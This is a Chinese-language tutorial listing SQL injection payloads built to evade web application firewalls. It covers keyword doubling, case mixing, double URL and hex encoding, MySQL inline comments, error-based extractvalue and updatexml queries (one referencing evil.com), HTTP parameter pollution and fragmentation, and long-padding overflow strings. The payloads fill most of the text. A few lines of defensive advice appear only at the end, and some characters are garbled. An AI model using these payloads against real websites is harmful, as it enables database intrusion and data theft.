2020-05-21 00:34:30
SQL注入绕过技术主要针对WAF(Web应用防火墙)的防护机制,通过多种手段规避其规则检测,从而成功执行恶意SQL语句。以下是常见的SQL注入绕过技术分析:
一、基于规则变形的绕过技术双写绕过
原理:WAF可能仅过滤一次关键字,双写可还原被过滤字符。
示例:aanndd 1=1 → 过滤后变为 and 1=1;or 被过滤时使用 oorr。
适用场景:基于黑名单的简单规则匹配。
大小写绕过
原理:WAF规则可能仅匹配小写或大写关键字。
示例:uNIoN sELecT 1,2,3 → 部分WAF未处理大小写混合情况。
限制:对大小写不敏感的正则表达式(如 /express/i)无效。
替换关键字
原理:通过拆分或重复拼接关键字绕过替换规则。
示例:UNIunionON SELselectECT 1,2,3 → 过滤后拼接为 UNION SELECT。
变种:更复杂的变形如 SeLSeselectleCTecT。
URL编码
原理:服务器自动解码URL,腔大双重编码可绕过单次过滤。
示例:and 两次全编码为 %25%36%31%25%36%65%25%36%34。
注意:需使用全编码而非普通URL编码。
十六进制/Unicode编码
原理:将字符转换为十耐吵六进制或Unicode编码形式。
示例:
十六进制:/*!u%6eion*/ /*!se%6cect*/
Unicode:单引号 %u0027、空格 %u0020。
应用:宽字节注入(如 %D6%5C 构成单引号)。
其他编码
二进制/八进制:较少使用,但可能绕过特定规则。
UTF-7/16/32:历史案例中曾绕过Google的防护。
普通注释
符号://, --, //, #, ; 等。
示例:
union%a0select pass from users#
z.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4
作用昌圆侍:拆分关键字或规避空格检测。
内联注释
原理:/*!*/ 仅MySQL识别,可隐藏恶意代码。
示例:
/*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A///*!50000%55nIOn*//*yoyu*/all//%0A/*!%53eLE ct*/%0A/*nnaa*/+1,2,3,4
函数替换
示例:
hex()/bin() → ascii()
sleep() → benchmark()
concat_ws() → group_concat()
系统变量:@@user → user(),@@datadir → datadir()。
符号替换
逻辑运算符:&&/|| 替代 and/or。
比较运算符:</> 替代 =(如 id=1 or 1!=2)。
空格替代:%20, %09, %0a, // 等。
生僻函数
XML函数(MySQL/PostgreSQL):
Select UpdateXML('<script x=_></script>', '/script/@x/', 'src=//evil.com');错误注入:
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));反引号
作用:替代空格或作为注释符。
示例:select version()。
连接符
符号:+, -, . 用于字符串连接。
示例:select+id-1+1.from users。
变量符号
@:用户定义变量(如 @var_name),系统变量(如 @@version)。
示例:select@^1.from users。
HTTP参数污染(HPP)
原理:提交多个同名参数,不同Web服务器解析逻辑不同。
示例:
/?id=1;select+1,2,3+from+users+where+id=1--
/?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users
HTTP参数分割(HPF)
原理:利用控制字符(如 %0a, %0d)分割参数。
示例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--HTTP参数污染(HPC)
原理:利用保留字符(如 ;, /, ?, @)构造特殊请求。
示例:Asp.net 对 % 符号的处理可能引发异常。
缓冲区溢出
原理:针对C语言编写的WAF,通过超长输入触发溢出。
示例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),...整合绕过
原理:结合多种技术(如编码+注释+HPP)。
示例:
target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..1000 "A"..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4使用正则表达式匹配 union, sleep, load_file 等关键字。
采用PDO预编译,避免变量直接拼接SQL。
定期维护规则库,覆盖新型绕过技术。
数据库用户仅授予必要权限,限制高危操作(如文件读写)。
通过理解这些绕过技术,开发者可更有效地设计防护策略,而攻击者则需谨慎使用,避免触犯法律。